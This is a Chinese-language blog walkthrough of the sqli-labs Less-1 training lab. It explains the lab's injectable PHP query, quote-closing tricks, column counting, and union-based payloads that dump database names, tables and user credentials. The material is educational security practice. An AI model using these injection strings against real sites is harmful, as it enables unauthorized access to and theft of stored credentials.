• sqli-labs(Less-1)


    index.php 分析

    (结合表单的知识,html具有name属性,name='id'),当然在这里跟这个关系不是很大,$id=$_GET['id']可以认为是从地址栏取id的值,比如地址栏id=3,则$id=3;

    代码逻辑分析:

    需要id的值,当id没有值时,isset() — 检测变量是否已设置并且非 NULL,当我们没有输入时可以认为没有设置,则执行上图中if对应的else(红线连接)

    当id符合服务器数据库的解析规则时,先执行mysql_query() 函数返回资源标识符(可以认为是指针),传给 mysql_fetch_array()返回从结果集取得的行生成的数组(正常非零),打印出要求的数据行

    知识点:闭合方式

    单引号''、双引号""、括号()、括号+单引号('')、多层括号+单引号,例((((((((''))))))))。mysql还可以使用括号+双引号("")和多层括号+双引号((((((((""))))))))

    可以认为闭合方式是为了解析用的,比如id=1,最终变为id='1',有点类似是为了将接收到的信息标记,这是我对闭合的一点看法

    下图的1是我们传入的参数,顺便打印出了sql语句,应为是初学,所以更容易理解注入一些

    Less-1

    再了解闭合方式之后就可以开始了

    根据提示要求输入数字型参数

    回显id=1那一行用户名和数据(当然这只是我们看到的)

    1"与1的效果一致,这跟解析的机制相关,可以认为数据库会识别数,不管",也就是代码的解析规则与"无关,所以不会是""闭合

    由报错提示,可以知道是单引号''=即'id'因为 ' 1' ' 造成不对称所以才会报错提示''1''

    我们检测的结果与$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";相吻合

    关于'id'的理解,有''可以解析执行 ,比如1' and '1'='2 这样为假,无回显(因为条件为假,其实就是什么都不选择,查询不会返回数据),1' and 1=2或1 and 1=2可以认为字符串只取1,遇到and就不再解析了,这里的解释也不是很好,还请各位大佬赐教,斧正。

    字段数检测:三个字段及三列(最新版的火狐与Hackbar中'无法直接输,可以用%27代替,#用%23代替)

    利用联合查询查看可以回显的字段,并泄露一些信息version(),user(),group_concat()

    index.php?id=-1%27 union select 1,database(),user()--+

    index.php?id=-1%27 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x696e666f726d6174696f6e5f736368656d61),3--+

    index.php?id=-1%27 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479),3--+

    index.php?id=-1%27 union select 1,(select group_concat(0x28,username,0x2d,password,0x29) from users),3--+

    加分隔号,其实就是对应的ASCLL

  • 相关阅读:
    VRChat之blender教程
    29(30).socket网络基础
    26(27).反射及面向对象进阶
    25.python之面向对象
    24.configparser&hashlib
    23.logging
    22.re(正则表达式)
    22.XML
    java日志系统 @Slf4j注解的正确使用
    java四种元注解:@Retention @Target @Document @Inherited)认知
  • 原文地址:https://www.cnblogs.com/zuoanfengxi/p/12878454.html
Copyright © 2020-2023  润新知